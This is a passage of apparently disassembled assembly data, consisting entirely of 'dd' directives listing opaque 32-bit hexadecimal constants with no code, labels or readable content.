0DF29960Eh dd 19270FC6h, 0B312FDF2h, 36250EF5h, 68C297E2h, 18F56E18h dd 375BB6h, 25407DFEh, 177926CDh, 57A60501h, 0F6350962h dd 0B71EDAF8h, 0FC204F78h, 68430A20h, 41254D42h, 0FC478DF8h dd 775A96E9h, 0C168DE70h, 0B9CF5B52h, 8F8F5A68h, 362DB058h dd 0E1534BFEh, 1A2BEF73h, 0E77F3AD2h, 74A905B3h, 0C7BAC029h dd 0F4261F5Fh, 0E113CB42h, 7B7B76FEh, 19C8BFA2h, 51BFDFB5h dd 44402FB4h, 0D6E773D3h, 0FDCE6055h, 1A048308h, 5BF54EA9h dd 49274480h, 0ED565A2Eh, 71E25B1Eh, 685707DFh, 0D0E54CCFh dd 18F9A74Ah, 167CD494h, 0C070584Bh, 15E08B6h, 10344C4Ah dd 64591109h, 0A2A82DA0h, 0E5B00BFBh, 0BF7ED268h, 0EEBFE098h dd 99F3FF4Fh, 0A04CE037h, 0E257055Bh, 50C01313h, 29073DACh dd 75E92C56h, 0F67D0033h, 213D3E6Fh, 0F9ED94Ch, 0F6B030C1h dd 0DE802F04h, 0A604341Ah dd 406618F6h, 0E980812Bh, 0C434FC14h, 7AD180A8h, 0C140961Eh dd 0F106DCE8h, 3DD30878h, 4456095Ch, 955C028h, 41E55DB1h dd 0D9B86409h, 129083A3h, 0E6EB02B4h, 0CA5418BCh, 0AEB22736h dd 0FB2D5D7Ch, 2D9E0852h, 49C15E2Dh, 0F8111568h, 5DEB43CBh dd 178B7DA9h, 886BC857h, 994BF3Bh, 0EAD31F20h, 9EAD62DEh dd 797D295Dh, 0FE05441Ch, 50E9A444h, 310D51E8h, 7FAB5EF1h dd 79D266C3h, 21439F18h, 0F9ABEFCAh, 0DB33F04Dh, 57AA9528h dd 9E56BA40h, 2248BFEh, 0CA56CFEEh, 81B9E272h, 51590FA5h dd 0C6EFC1C4h, 4DDD9574h, 3E0439F0h, 0DF016D27h, 59388180h dd 0F21A5A11h, 0D32001FDh, 0D70192F2h, 5AE97B5Ch, 0BAD184A4h dd 0E78F35ECh, 0BEF79F84h, 0B4D6CFB3h, 215FD7E5h, 0FA38D889h dd 0C448E8D4h, 0B39AC780h, 31272D25h, 0BFA65AF9h, 0F7275CE7h dd 0D6B5121Ch, 0B06861B9h, 10A8267Ah, 0B73B8F8h, 6B8E5E58h dd 0C2EE80DDh, 5F24EA54h, 0E941FE40h, 6F6B7535h, 58C2B241h dd 16F07D60h, 0E97CED24h, 81084161h, 5A4B390Ch, 0BE345870h dd 0B3DE4071h, 0EBC08507h, 48308002h, 0B866E3D0h, 0E92D3EF1h dd 375E39C9h, 0AB01C452h, 0A60591CBh, 0B80CC569h, 41FB40FCh dd 38AC7F17h, 0C78640AAh, 79A93108h, 0A75C3D98h, 0B2BA84FDh dd 0E6D1DCFAh, 580AEE53h, 0CDBE67C0h, 27A17AF5h, 0CA61A36Ah dd 9408ED53h, 0CF01094Bh, 5E1C2D01h, 44D3879h, 3C993323h dd 8139C4BFh, 9BB6C62Bh, 984E86ECh, 5C2568D8h, 50C2C03Ch dd 0D0F809E9h, 0D4E7D12Fh, 8A1C41D1h, 0D3D220F3h, 437CF392h dd 0BE17B4F2h, 7EECB795h, 0AF41491Ch, 4BD294F5h, 5EDCC220h dd 32AC45C5h, 0F4EDC344h, 0CA80C702h, 0F07FBAE0h, 0E4B72DC6h dd 2D2B1C57h, 4F72DFA7h, 1F010171h, 0FD875D07h, 8A4D7F7h dd 16EE29E5h, 76C2F9C1h, 0CE906FF9h, 0B5592931h, 5D817165h dd 0D40EE961h, 0C53B40B9h, 2D79B193h, 48AF964h, 4958CAB8h dd 0AA4F5D04h, 8FBB443h, 12D28EBDh, 5BA01ABh, 7EC1B151h dd 83043888h, 0F30B56BAh, 4E1B3E4Bh, 49AA40ABh, 815B058Fh dd 81053C8h, 45015574h, 2E323352h, 80C76C64h, 0E6564441h dd 0D495350h, 9C544E1Fh, 850A6A4Ch, 0A2E9F001h, 68770097h dd 7A149DBEh, 0E3FF1C06h, 2719FDFDh, 8F5159Eh, 0EB9F4428h dd 0A0382284h, 0C021E142h, 0BA84D710h, 42CD48A1h, 0C324A230h dd 0B45B3640h, 0BE00CE67h, 1F6B0451h, 10AA3F0h, 0A43D8A85h dd 0CCD926E9h, 0E0FF22CCh, 0CD01BE57h, 345CF542h, 99D48EDBh dd 4F293876h, 0FC8FF800h, 0FEC4DF3h, 93143902h, 43766880h dd 92F990C0h, 2EA007Dh, 3928315Ch, 0DC00727Ah, 2B49F175h dd 0FEFCF20h, 844B8777h, 3AF9E840h, 80006C32h, 505B29B9h dd 858E1Bh, 0EAD9E1A0h, 1923CBAEh, 964F0E00h, 0CCBBC3F8h dd 27A70084h, 0EC39A4AFh, 0D4003B53h, 7CD77055h, 2FDD8232h dd 44873316h, 0E5417FB4h, 0F8CF404Ch, 6E02A1E9h, 8078821h dd 677C80BBh, 0F0EDA04Eh, 4F3C00D5h, 0B6DA73C0h, 1BEA0C59h dd 0CDA7F401h, 0FD11767Eh, 95728240h, 0EE1CE6BFh, 6378A0BEh dd 2BE407AAh, 0DFEC3898h, 848F49C2h, 8E81AC60h, 0D38CFB00h dd 6C0552BDh, 7B977F24h, 8B52C0F8h, 17E01580h, 7098772Fh dd 0EBA01C69h, 0CA248690h, 4B00D206h, 0E37CC946h, 1966A9h dd 0B8050A80h, 529F701Fh, 3BD4B900h, 37B7FEEEh, 46CF056h dd 0A57B8D3h, 84018871h, 643E8B03h, 87A0D15h, 562C09D3h dd 0B1DE9740h, 0BACB305Eh, 0AF1B0652h, 7B5B3200h, 4322BCE2h dd 0F6FC00C2h, 78B53CFAh, 3F49E3E5h, 73F40089h, 0BD4F222h dd 16A918B4h, 0AFA65BE8h, 7996F600h, 6823B8E6h, 47DF065Fh dd 72DD3C52h, 7B34F300h, 6F6CFF10h, 1C090212h, 0C92E555Dh dd 4AA82543h, 6B91D28Bh, 0B5EA2501h, 915239EEh, 0E5CBB058h dd 65AA60DDh, 0A463CED9h, 89569C18h, 0B836414Ch, 133E00B6h dd 4794B562h, 2766DDFh, 6C4F5814h, 0C6850099h, 6779FBEh dd 5C044850h, 140F8113h, 1200253Ch, 8A5D927Dh, 8F008C1Fh dd 0D7F9AF6h, 0A629702h, 6B1C243Bh, 87470091h, 0B8DE7518h dd 64FC0500h, 0F5929A59h, 1E67F0Bh, 0D7E87B86h, 0D4D958B7h dd 0ED05B25Eh, 0C9DEA54Ah, 287763B8h, 0C3C847h, 7F1865AAh dd 1EB7040Bh, 519E7100h, 0ED3AD5B8h, 7836EAFDh, 0D26B0057h dd 700956B9h, 0A275EF20h, 6304029Ah, 0FE7B0C14h, 2B080180h dd 905BF255h, 374832FFh, 14E833Eh, 0D05A6838h, 0D53892A8h dd 1607C8FCh, 0E9501629h, 0D04A508Eh, 3C6AFD12h, 0CE09229h dd 3BBFA090h, 86E30030h, 0D1D9987Dh, 3009B95h, 0A9627950h dd 0CF429E6h, 81167121h, 5A016570h, 3F747FC7h, 0A1D09718h dd 0A3E418ECh, 0D5E020A7h, 0AD0058B8h, 0D2070886h, 1B0194FFh dd 22B2EDA1h, 9EF5ECD8h, 0B6B12631h, 87745FF3h, 0C39B0045h dd 25E4D1DAh, 5C9A311Dh, 8A7B5472h, 2D5EBB00h, 6F4277E2h dd 0FBDB13DCh, 7366406Bh, 93ED1BAh, 0CEA33600h, 1921E0C5h dd 76D9A85h, 8EF90160h, 0ED8C7F7Dh, 0AC16B547h, 0BA1206C5h dd 402E754Eh, 2CE3AB64h, 0D1E809DFh, 78A0BEC9h, 0E1FB2BDh dd 0F5998001h, 3F30AF1Ah, 0F8B37A34h, 941F9C47h, 0BA81FA3Ah dd 346F0855h, 41980E60h, 0E5A84100h, 0C8EDDD2Ah, 677826h dd 46C9C25Bh, 0DF3060F9h, 95009275h, 4532D7Ah, 90FF8BFCh dd 1BF80310h, 0C0A5AE45h, 0F24CD27Fh, 3B460071h, 47C8C37Ch dd 8C4500B4h, 934C0B04h, 0E20017F8h, 329D7219h, 0BABA29Fh dd 12757D94h, 66712620h, 829AD1B6h, 14A7B200h, 0C3828D03h dd 89860F0Ah, 0C208B54h, 69904D7h, 36582103h, 20A7D85h dd 36E7945h, 99686984h, 31FE44E9h, 0FD0A88AAh, 424A0034h dd 0A3E780CDh, 8600EC90h, 20B90609h, 0F55A26Dh, 0EF9E5065h dd 513AD300h, 0D84C71BEh, 0F21D809Dh, 267CCBA5h, 2711374h dd 0BD93704Dh, 969A7044h, 0C7564100h, 0FA8D820Eh, 693312AEh dd 3D984159h, 81615235h, 0BB26310Ch, 0A02587FEh, 82FD76F0h dd 7E822262h, 9E4C6896h, 0C34C4301h, 7D919958h, 8A124h dd 9BFAB0FDh, 0DFC6CFA8h, 50092000h, 0E242D53Ah, 63926Ch dd 19F69A9Bh, 73CD3B8h, 78C93404h, 1280D089h, 5362C2h dd 0B3B606DEh, 0F4FCBBAAh, 0F600DDE8h, 147C7DF7h, 1D35C6FBh dd 87BAE33Ch, 634EB974h, 0EB906B24h, 0E6007358h, 3139F8DDh dd 108AB92h, 17D6E1F2h, 20600996h, 238F6C1h, 6147266Fh dd 0DEC0A834h, 39CC9Fh, 262E453Ch, 0F5E4FC61h, 69F72259h dd 0A6F7A00Fh, 0B020F995h, 976A0F75h, 6F45AD2Ch, 0A78E02B1h dd 51FC37E0h, 0A0D9B809h, 86D33CEDh, 729D09EDh, 25048C25h dd 6B7C88BFh, 80844A5Ch, 77C44B40h, 5DB21DDEh, 0F8174010h dd 7A82D1ABh, 0FA010D28h, 0BB916E12h, 80988237h, 35EEADB8h dd 0DF48605Bh, 8DC05BFEh, 486C1BCBh, 463054CFh, 0BA2530F8h dd 0BCD46D00h, 76F71E53h, 112400E5h, 5C649FFCh, 30CEA62Bh dd 4FE24058h, 12BF503Eh, 2B40940h, 5D24C970h, 427DA5DFh dd 5C0058C9h, 5AFFC13h, 49967916h, 0F582D0B0h, 5F782EC0h dd 0C1CA6300h, 2868014Eh, 909A75E7h, 0CBEC3B9h, 0ED708304h dd 18D2373h, 0E653106Dh, 0CC5FCC55h, 0EAA45D07h, 0E2F06625h dd 1C9D9A2Dh, 19878FA6h, 6083505Ah, 64C1082h, 0E1307E79h dd 97A21859h, 0FA060E7h, 0AE6DD8E3h, 8205F57Bh, 0F9CC010Eh dd 3D849ED1h, 7F8A4D80h dd 30C814Ah, 0EFA8CE0Bh, 91B849Eh, 8558BD81h, 629230h dd 5716FB05h, 91E665D6h, 0DE032FE8h, 0EBD4DC4Bh, 0B14C2C35h dd 0D00FB4C2h, 0EC9FA0C2h, 89802359h, 167182DFh, 4AF06024h dd 0A4E31993h, 20D7364Fh, 1200CB63h, 1EF19D7Ch, 6F66B3h dd 0D637D8B6h, 52255AB5h, 0E0AEBF00h, 5159702Fh, 3E506036h dd 0C2A73A45h, 221A9B00h, 6BF1D441h, 483009C3h, 0C02077DAh dd 497E91FDh, 72E66A3Ch, 8398C43Bh, 0D21FF09Eh, 0CBBCC0DBh dd 811E9071h, 0F4641AD2h, 18C2E55h, 659A003Ch, 5A256992h dd 74B9D103h, 0D45B90FBh, 2580D5C9h, 28BD2468h, 0B4602DB1h dd 0E2A5AD5Ah, 0A15CC37Ah, 0F9EE696h, 45B8E1F6h, 333BFA0Ch dd 1271754h, 1678891Ch, 0EE13ACF9h, 1BEEA8A0h, 0DB007BB0h dd 0A43D6947h, 0CB4449h, 67A8E57Eh, 0ECF40B32h, 0E8499B60h dd 0B9394ADDh, 49458245h, 615791C6h, 22345512h, 0ECF50009h dd 16CBB7F7h, 0D706B46Dh, 9D300338h, 0C10E07FEh, 0A07749CAh dd 90BAB7Fh, 29657601h, 3099B1E6h, 86A5B9F7h, 28D65E60h dd 7F8D7F0Dh, 78ABFCC5h, 8762006Bh, 0C8490807h, 230F4DD3h dd 2B9B6819h, 9803190Bh, 0C579EF60h, 40FBC4FAh, 0D9084CDAh dd 0C23ED604h, 45CA001Fh, 6A0E0586h, 2BEF8E8h, 0E66F10F2h dd 81409DDCh, 4400DDDAh, 1E69714Ah, 646A4h, 0B2E7525Dh dd 76351C25h, 818C6E3Eh, 5CBB0858h, 9FDF3354h, 80C88705h dd 0F6F1F867h, 573E0E47h, 38409098h, 202B0269h, 0E7A86100h dd 632AF328h, 184100ACh, 370C0EEAh, 5EC7D36h, 0BD523C0Bh dd 5ACB8370h, 641C02Dh, 0B043164Eh, 0EB98019Fh, 0C82724D3h dd 6D0A81F0h, 0AD621B74h, 88CDBD07h, 185B9C50h, 1AFA85h dd 0F8B1A8F5h, 61F9BE93h, 0AC22FD00h, 83942792h, 0CF04000Bh dd 0FE8991A8h, 0F80444B1h, 0CEDF727Dh, 71195AC0h, 434B3E62h dd 2C371FE0h, 94004D99h, 8DDA3559h, 6B79AF4h, 0FEF3D903h dd 0F56DB9EEh, 0AF00B82Eh, 96207138h, 0E19A0057h, 652E63ACh dd 19B08898h, 0ADB57406h, 36F4DAh, 0DD0B9EA9h, 2C72F322h dd 0B4CA900Eh, 3F6D078Eh, 0BBF01F90h, 739C0BF2h, 0B982753Eh dd 0A3E0F6BFh, 111C7C45h, 0B326C9FEh, 0E7844D0Ch, 7B8BEA06h dd 10FF0B56h, 4575D4DBh, 42442F21h, 40E2FEB7h, 4720685Ch dd 574443B4h, 5EB42EEBh, 680210A8h, 16F75703h, 0C78980F5h dd 9F10E2B9h, 9C2D575Ch, 1B749725h, 12C0FD69h, 0A30750FBh dd 8468F4Eh, 0A0506ADh, 4E0B8BFEh, 6A6F61FBh, 947E70DBh dd 0B8218F00h, 614A516h, 0C57B03h, 59E724E0h, 98BAE53h dd 38BB0A0Eh, 1A9000D4h, 3BC56FDh, 725D5955h, 0DAA0139Fh dd 3D005795h, 29238F08h, 684F0A1h, 404C3066h, 3400A824h dd 510B8D39h, 3B9D5D6Eh, 610016EAh, 800C2B9Bh, 81000A63h dd 586AC65Ch, 707AB44h, 5A1E6E2Fh, 46B13078h, 971C8829h dd 0CC804256h, 59A71860h, 1E9F002Ah, 79CF0625h, 1B583DA9h dd 74039D7h, 7553076Bh, 2636F9B0h, 19AC005Eh, 69BC2CC7h dd 5402230Dh, 45B4F462h, 764B5512h, 6342E280h, 0B9931602h dd 5CCEBF0Fh, 71D90855h, 2B0CE90Ch, 8DCC3932h, 6AFD5602h dd 60DFFCE4h, 6B4DBF3Ch, 0C45E221Ch, 68D4FA01h, 0DFDC6634h dd 61C50FF5h, 0F0C0038Bh, 1DE5756Fh, 0BC6C40A8h, 0A7E10E00h dd 0D38B668Dh, 0E8811F59h, 7C5E414Ah, 8391E280h, 0BE9C4B3Ch dd 5BC1C868h, 0F252C189h, 3ECA4E53h, 0AFC1331Dh, 0BE827B1h dd 47F05F81h, 0F0417EB9h, 0D30039A5h, 0D6816CE2h, 336437ABh dd 0EEEE5E21h, 0E5803B1Ch, 850F4F85h, 0B1CB7EF1h, 518C128Fh dd 0AA0B09E8h, 35E52D00h, 0AFE915F9h, 0D0BEC130h, 0EC08835Eh dd 1D0FFAF8h, 273B4C79h, 8A81F6EFh, 9FF3F47Dh, 7512E3F3h dd 3047B08h, 8AAACF78h, 213AC17Ch, 53330C62h, 57811C4h dd 77F56ED0h, 8D1C01E2h, 9CD6E3B3h, 0C427A11h, 7477FEh dd 0B70817FAh, 918E8330h, 18C43BFDh, 10F1F0E1h, 0B808D67Dh dd 4CFF9438h, 27821849h, 941EFB1Ch, 0B6758750h, 20E45322h dd 0E6CB777Fh, 4D01EA7Eh, 3D6F573h, 0E08066A9h, 68E36445h dd 1B02F6EEh, 0BB7433BEh, 3F8C8180h, 8181FD95h, 0D1A78790h dd 5136D8A9h, 0F4F8FC7Ah, 0F6D4BD0Eh, 0F442345h, 7F48016Eh dd 0CCCDB1F3h, 6329F473h, 0DF63F0F0h, 0F235310h, 1301A599h dd 2F1B8143h, 1409ACF8h, 3BCCA0Fh, 0ED9E001Eh, 74B5F810h dd 9DD90F02h, 0B0004B23h, 84D52FEAh, 0D325371Dh, 0D03EFA00h dd 3161D97h, 7D06A7B5h, 498063ADh, 170095D3h, 897C92Bh dd 0A85CE10h, 0F8CA2A03h, 8ABB5338h, 4AC723C3h, 0B3635418h dd 0C3DB2108h, 0B7B0001Dh, 0B9CC1412h, 0A8007D05h, 0B31E018Ah dd 34DFABEh, 4A1D99CEh, 30C0A4AFh, 0E60A63C0h, 68F8AA34h dd 0AC402107h, 552D0683h, 41F2439h, 40639412h, 0DE747364h dd 0C8A8EDD5h, 0C67B2111h, 808A848h, 0CE5920Eh, 7830FBD0h dd 643047F4h, 0E3171890h, 68272809h, 7CFB4808h, 387C0801h dd 60F38059h, 2CA2E0D8h, 530B2482h, 0A6C60C08h, 600C8E88h dd 0F4BD31EBh, 426CDD7Ch, 4554A058h, 4C9A4390h, 0A1240F6h dd 7C43FB15h, 0AD2647Ah, 77710459h, 170A8578h, 0E25808FCh dd 3B2AE477h, 0F91D0FF2h, 0FEB00E5Fh, 0CD030884h, 0E1F8F38Fh dd 0CC90DCF1h, 4C6B6C71h, 177A889h, 0FD43B5B9h, 444C7EBEh dd 0C240D20Ch, 0AF4FA22Eh, 0FED860EEh, 63A9023Eh, 2F7A3979h dd 0F57D0C80h, 0FC92E574h, 481B651Fh, 7900B026h, 0FEF4063Ah dd 0A0FBFE35h, 26F9F80Ch, 8A147176h, 35864F6h, 7345BD75h dd 22643ADDh, 993E26A5h, 8C1515F0h, 84C2BC40h, 86BB881h dd 8864EF02h, 0D16C2AA5h, 0F66214F0h, 0A8CAF808h, 247826E0h dd 921E105Ch, 8F544808h, 0D82C6CBAh, 7F142FC1h, 888CEB15h dd 52E4A3FEh, 43D98060h, 997C774Ch, 8809A198h, 8B566F90h dd 0A7FB60h, 51010691h, 7FF4D614h, 0E0A8CC88h, 0F1C4B217h dd 104D5996h, 40989498h, 0E0A8D6A8h, 6A24FB4Ch, 0FD440CEEh dd 0C5A38050h, 2A0C9946h, 9B168C88h, 42A1DBDh, 337FFC85h dd 0E0584D88h, 0FEF4401Ch, 8CBA2984h, 47090294h, 0C88A124Fh dd 0C1A13928h, 8042F591h, 18990D8Dh, 8CA8C80Ch, 1A4C35DBh dd 0E511FE0Ch, 247DF342h, 67A8D956h, 80213888h, 8C996046h dd 8C2F540Ch, 9C39481Ch, 20E611FFh, 0B23121BFh, 0A04FFAB1h dd 0F1B1FC90h, 0EA142038h, 0D84D3D89h, 831A7462h, 50BE6148h dd 0E1DD5823h, 0CDFE3876h, 0B2519475h, 0E181DBA8h, 798AE4E3h dd 4AD8F0B9h, 5849BE30h, 0A44CEAB7h, 0D208D52Ch, 5262D792h dd 0B8C037DDh, 0C0E438F0h, 0F960AE10h, 20E35C26h, 0DE7C2878h dd 80650389h, 2401DC42h, 98B232h, 0F95F150Ch, 2A7A0DC0h dd 0C4B88B44h, 10FCD070h, 8CA6229Ch, 8FA7083Ch, 28F250BAh dd 42EE3CE8h, 3C0512E9h, 3C38D8AAh, 0FC79C686h, 31D0198Fh dd 590EE451h, 0DAD0A01h, 0FAB7B934h, 0F8DEA4E0h, 0A1B31F4Eh dd 0F8BC0A08h, 41200F14h, 0C237B585h, 0A46E3924h, 0E8E38728h dd 77DB8022h, 0A5A907E6h, 0E981BC65h, 972BD8Fh, 0DA063A0h dd 5FC06408h, 8D130C92h, 6804A046h, 0CC401B37h, 804E0AE1h dd 111E20A7h, 234B0063h, 0CDDC8613h, 0F7459090h, 597B3898h dd 45639F6h, 20B92CA0h, 78504F0Eh, 134D831h, 643A7BEh dd 387BFC51h, 21E13098h, 0BE0CBAh, 0CF45E629h, 516E84D1h dd 0A92D3Eh, 0ABF9AE4Dh dd 798CE4h, 0B0A782EAh, 0C0506CE1h, 367C41C0h, 745A5D55h dd 0FB5F00BCh, 0B2A7CF65h, 0D07FC32h, 9C0E62D5h, 0CA927A30h dd 727F26F9h, 1CA0A670h, 458FD210h, 1E2AFF0h, 0C5851388h dd 814C309Eh, 0D820D56Ch, 32048C4Dh, 3643A1BEh, 0B820EF62h dd 1C8ABE0Ah, 0AAF3D5h, 0ED2C4294h, 0CD0091BDh, 0AC1976BAh dd 126398CFh, 41F2641Bh, 4F0A68C0h, 603D53h, 0D2229C84h dd 44AFF30h, 94ABFE51h, 9AF090EFh, 0B80E15E1h, 0D7AE44h dd 0A4F99E5Bh, 75B90022h, 34FEBED2h, 9603A845h, 5069B565h dd 9C21B912h, 24733030h, 83842F44h, 612AE2E1h, 3C4C3798h dd 1031F7F0h, 0FC5068F9h, 0D4639180h, 96EB5146h, 0C3739103h dd 99D5F926h, 758C83h, 1B9AC0h, 1F5CB93Ah, 4D1D67Bh, 0F9DDBA01h dd 0A7FF651Ah, 0B51F6ECh, 6FE546C0h, 9507D401h, 18D980FEh dd 7358BDACh, 3371FC9Dh, 0E708B57Bh, 0A7BF2100h, 0CECDEABDh dd 364B0090h, 76A1FBCBh, 24F12740h, 0F9611750h, 0FF50ADF8h dd 0A59FC180h, 5B1CEFBEh, 0EADBA800h, 0A38D8953h, 0F20B0B0h dd 0FECF2F7Dh, 0FC04419Ah, 0BE306043h, 8CE6F4DBh, 0B6F044h dd 6999BE08h, 42193445h, 1FCF7F18h, 47B1390h, 51F7F303h dd 358F3F5h, 0A864A938h, 0D2E91F76h, 5DF1E52h, 20950AF9h dd 0E40CD5F8h, 0A030BF00h, 986760DBh, 0FF680024h, 4239CE59h dd 0F554E19Eh, 0A5077DC4h, 1C3063B3h, 0F2E032A6h, 797E6182h dd 0C535A15Dh, 0F6D4ECF4h, 600CFC5Ah, 7F3E4182h, 14361DA9h dd 1B7F02AAh, 0F4605ECAh, 0A0067DD2h, 0E1E3A90Eh, 8F7600C9h dd 0C3978515h, 0DF3BD796h, 2650754h, 0E24AF44Bh, 44A24700h dd 2E29456Bh, 402C08E1h, 86676471h, 3A06B098h, 0FDDC7C8Ah dd 4927FC58h, 4503CC9Fh, 8DBF6411h, 0FA4A2800h, 221EAE4Bh dd 829818A8h, 1A5CD970h, 0F25AE704h, 18C0AAA9h, 4831B0A6h dd 0A2C00442h, 5C082AABh, 8311673Bh, 3CEC1BEAh, 0A05B9084h dd 974A189Bh, 8B9A1FCh, 0A74855FAh, 0D7B41628h, 0E0AD88C1h dd 0DA01A9BCh, 63AE395Ah, 7BB84238h, 21BABCAEh, 8E5ECF0Eh dd 4C4060A1h, 0E1904001h, 0BB21E360h, 0DA2A75h, 2F6AD697h dd 0D8875EDBh, 240DF4Ch, 6F9502A9h, 71E14041h, 707B1D3Fh dd 221F421Ch, 21E143BBh, 0B5C26FCh, 2FC484F6h, 9FFD0F24h dd 60A892h, 233235A0h, 8511BDF4h, 35A83D00h, 11D63A5Ah dd 71138707h, 463B8227h, 0D4BA4CB4h, 0C020E027h, 14CE0B9Ah dd 0B094D900h, 0B55AF947h, 441B0398h, 0A765CBF5h, 820AD58Fh dd 0A62EFB2Ch, 0E881F690h, 0CBE330F9h, 88F3EF51h, 5B960D07h dd 0D8238FA6h, 36F0C03Eh, 0DDBC282Fh, 0C0947560h, 72FB9299h dd 0B700F70Fh, 0A3345C80h, 0B0C8CBD8h, 0E1F16B20h, 0C46CB005h dd 0E188A1A2h, 44E858ABh, 63B03908h, 40F2C448h, 0BC394C3Bh dd 0A0283DA6h, 564F5302h, 9482A9A5h, 0D4824D09h, 90800A08h dd 41F60CA8h, 8A1AE098h, 63F9F96Bh, 4208C054h, 0A0470F89h dd 0EAAF1865h, 511406D6h, 3F0029E9h, 0AEA664B4h, 89A56Ah dd 6F87DC3Eh, 145FDB1Dh, 47934201h, 0F577F9B8h, 8C086C3Dh dd 0F834F468h, 2CA96580h, 0F5701602h, 0D9F004D6h, 520C8022h dd 243F2A8Dh, 0E5D82B1h, 7A95F5CDh, 0E0E678h, 52CE586Fh dd 3923A5B6h, 74752C17h, 0C0E00C26h, 4432B3C8h, 0D61BC57Bh dd 24480FDDh, 0CE3CA760h, 0F4C435EFh, 208062D5h, 4035AF30h dd 6C90A3E0h, 7402AB4Ah, 84F5D647h, 0C467AED4h, 4074C239h dd 10C8D4B1h, 0E0394F3Ch, 45FB0C2Bh, 0A690FA63h, 35DA048Ch dd 62CDF430h, 0A2332083h, 0C020835h, 0FB65A8A1h, 0A378E944h dd 99E2AC23h, 0B89C1A30h, 89E800A8h, 57614C25h, 0CE502887h dd 0FB7052D8h, 0B8630224h, 0C9EB9558h, 0B8019211h, 8779541Eh dd 40A875F8h, 619D3C92h, 0C714FDB0h, 0DBCDD328h, 715B0B98h dd 490734B1h, 0F9852ECBh, 5541488h, 737F7B8h, 0CCC8245h dd 11BDB330h, 88A57347h, 0AABE8DE6h, 0C561D420h, 49EBAF00h dd 3C6E7153h, 6408003Dh, 0F380407Ah, 0D1D2F9E3h, 98655800h dd 0EAD7EC26h, 4A0900Ah, 6CF74D3Fh, 9B4B0B8h, 72488A71h dd 2FA38238h, 9605003h, 1837711Dh, 9598B005h, 43588820h dd 0E8AB4F16h, 0E0402043h, 1768E7Fh, 53D3C465h, 60B11C3Eh dd 0E66C3FFCh, 8C0AF829h, 0C0AB15Bh, 0ED447CB5h, 0BDA8B840h dd 0A241DE4h, 0C018BC02h, 327736B9h, 3E58ECBFh, 0E111A89Dh dd 3A28380h, 0DA053806h, 738A95CBh, 1F278430h, 99008h dd 0EFE720FCh, 0F6E0BD72h, 3659B0A8h, 0A38C204h, 58A9A343h dd 21E0E318h, 1EF8EAB1h, 6589E00h, 2720C086h, 0CC5D58F3h dd 7782F909h, 67EB4020h, 481EDA34h, 2A07BA38h, 5AF547B3h dd 39838C20h, 0DF9F02EDh, 0CCF0ABB0h, 45167454h, 0DC41FB13h dd 0C88C0363h, 74771881h, 34EE6622h, 48CA2C0h, 63AF395Bh dd 1383820h, 51EA3943h, 308A0373h, 4C257698h, 4DE041DBh dd 0A8EA50D8h, 0F58694h, 4FC8119Bh, 1FE89D33h, 0A057EE00h dd 20196FBEh, 0A65C16B6h, 0EC6F65h, 505E1D14h, 3036A877h dd 16901017h, 5D414F4Ch, 65F1A060h, 2050F885h, 9779EBE0h dd 10402F0h, 0F0908F7Eh, 52B21C81h, 7DFA5424h, 9718A38Ah dd 0F8423FB5h, 59635EBAh, 18E7714Ch, 656C0638h, 90A2EC0Bh dd 633344E2h, 9393A859h, 4C582338h, 0A0BE3301h, 7C283E43h dd 0BE0BBBB0h, 8AF9CD05h, 94C7AA76h, 9541EA70h, 0F6745CF4h dd 0BA7DD862h, 0DE289040h, 0CF50BCB4h, 370AB8C3h, 0A098DBB0h dd 0A94DF384h, 0EAE538C4h, 5385E8A8h, 0C9AC217Eh, 1C6C3C5Fh dd 79C3352Ah, 25C234Ch, 0ED21FA20h, 209E0DA8h, 2822E823h dd 70B46D4h, 7344BDB0h, 3E7C9C39h, 1FAABBBh, 2D46DB40h dd 306727A0h, 0FD50C035h, 0F760957Ch, 91D41331h, 0EA4F21Ah dd 0C25FFC69h, 8464F6E1h, 1B0700FAh, 7BD2005Bh, 786C2789h dd 0D16436B8h, 9CA49540h, 505B005Eh, 18F1D049h, 3D0024E5h dd 0DA2E5631h, 80F82777h, 0E602F5F6h, 0B8675409h, 7B08E8DDh dd 7A960097h, 7DD2304Eh, 5004FCB1h, 0C092A79Eh, 9479CC1h dd 0F0482C34h, 1AF14C5Eh, 0F2C32F0Ch, 8282F458h, 0FEBDCE8h dd 0B4F37805h, 0F940814Ch, 9F491F92h, 0DF9383EAh, 46E058A9h dd 0C003A5EFh, 0DE6A74BBh, 57FEB822h, 154B8F5h, 4194785Ah dd 30910E6Fh, 0BAE873E8h, 77427A06h, 980A53h, 0B2FF4A38h dd 0C59C05D1h, 96737201h, 0CC7B7ED5h, 0ABE7FAF1h, 0A280C4AFh dd 0DCA6D3h, 62BAD0A0h, 6E8FD59Dh, 9B146052h, 9C809D42h dd 3EB9C3A0h, 0BA3978C5h, 61308BB1h, 70697096h, 7400AEEAh dd 7967F9A0h, 0C1DE8FC6h, 8EC18A90h, 891880A2h, 0B8DF60FBh dd 0DE8C03C6h, 0D59CC470h, 85E8287Eh, 0C3626C1Dh, 0C57A7200h dd 0CA0D38Eh, 8D7DBAA6h, 7B306E30h, 7CC559C3h, 2A0CA662h dd 84F9DCh, 7374AA9Dh, 0C48FC295h, 6E887550h, 0BBA79714h dd 7C037414h, 0DB2C401Ch, 65A5C0B0h, 4F49C08Bh, 0A4DF9A57h dd 31C0D371h, 0E7486B1Eh, 0CFEB0CC2h, 2719DB39h, 61AD6300h dd 0B5F5758Fh, 89741CD8h, 8ECA4798h, 583AA1A9h, 0D3892EDh dd 58C5400Dh, 7E5629F0h, 9070120h, 35C0B2CAh, 92A180BFh dd 1AE8DD2Ch, 5604265Fh, 96790CB6h, 0D94051A9h, 0E8B4EACFh dd 0A1551087h, 0F17B1AFCh, 891822E1h, 0CA3201DEh, 0D36890BCh dd 31E97B86h, 0FE41A801h, 505610F5h, 0DE54598Eh, 0B3301091h dd 2A88161Eh dd 0E9D94040h, 5CF538C1h, 0B898B2C6h, 491659E8h, 62A81C6h dd 18381879h, 4C7B3011h, 44259C1h, 0C8412DC0h, 6C25BE39h dd 34F52F4h, 33EBCB4Dh, 0A5F3194Ch, 0EC0C014h, 5E120028h dd 0DEEE67FCh, 3C79C0FEh, 38B3440Ch, 135830DDh, 0ED1DFCB9h dd 365EFC50h, 0E51E1529h, 0D830A4DEh, 0E06B1DF1h, 89DCB050h dd 5F73F1C1h, 318A382Eh, 95A46211h, 51144CB3h, 84405850h dd 28FA4458h, 0CE903402h, 20D0B0EFh, 0CF38261Eh, 2A304261h dd 188AD266h, 284C37DEh, 23134654h, 4311608Ah, 0A4A4A104h dd 59FC5221h, 46B40CE4h, 0D0B86169h, 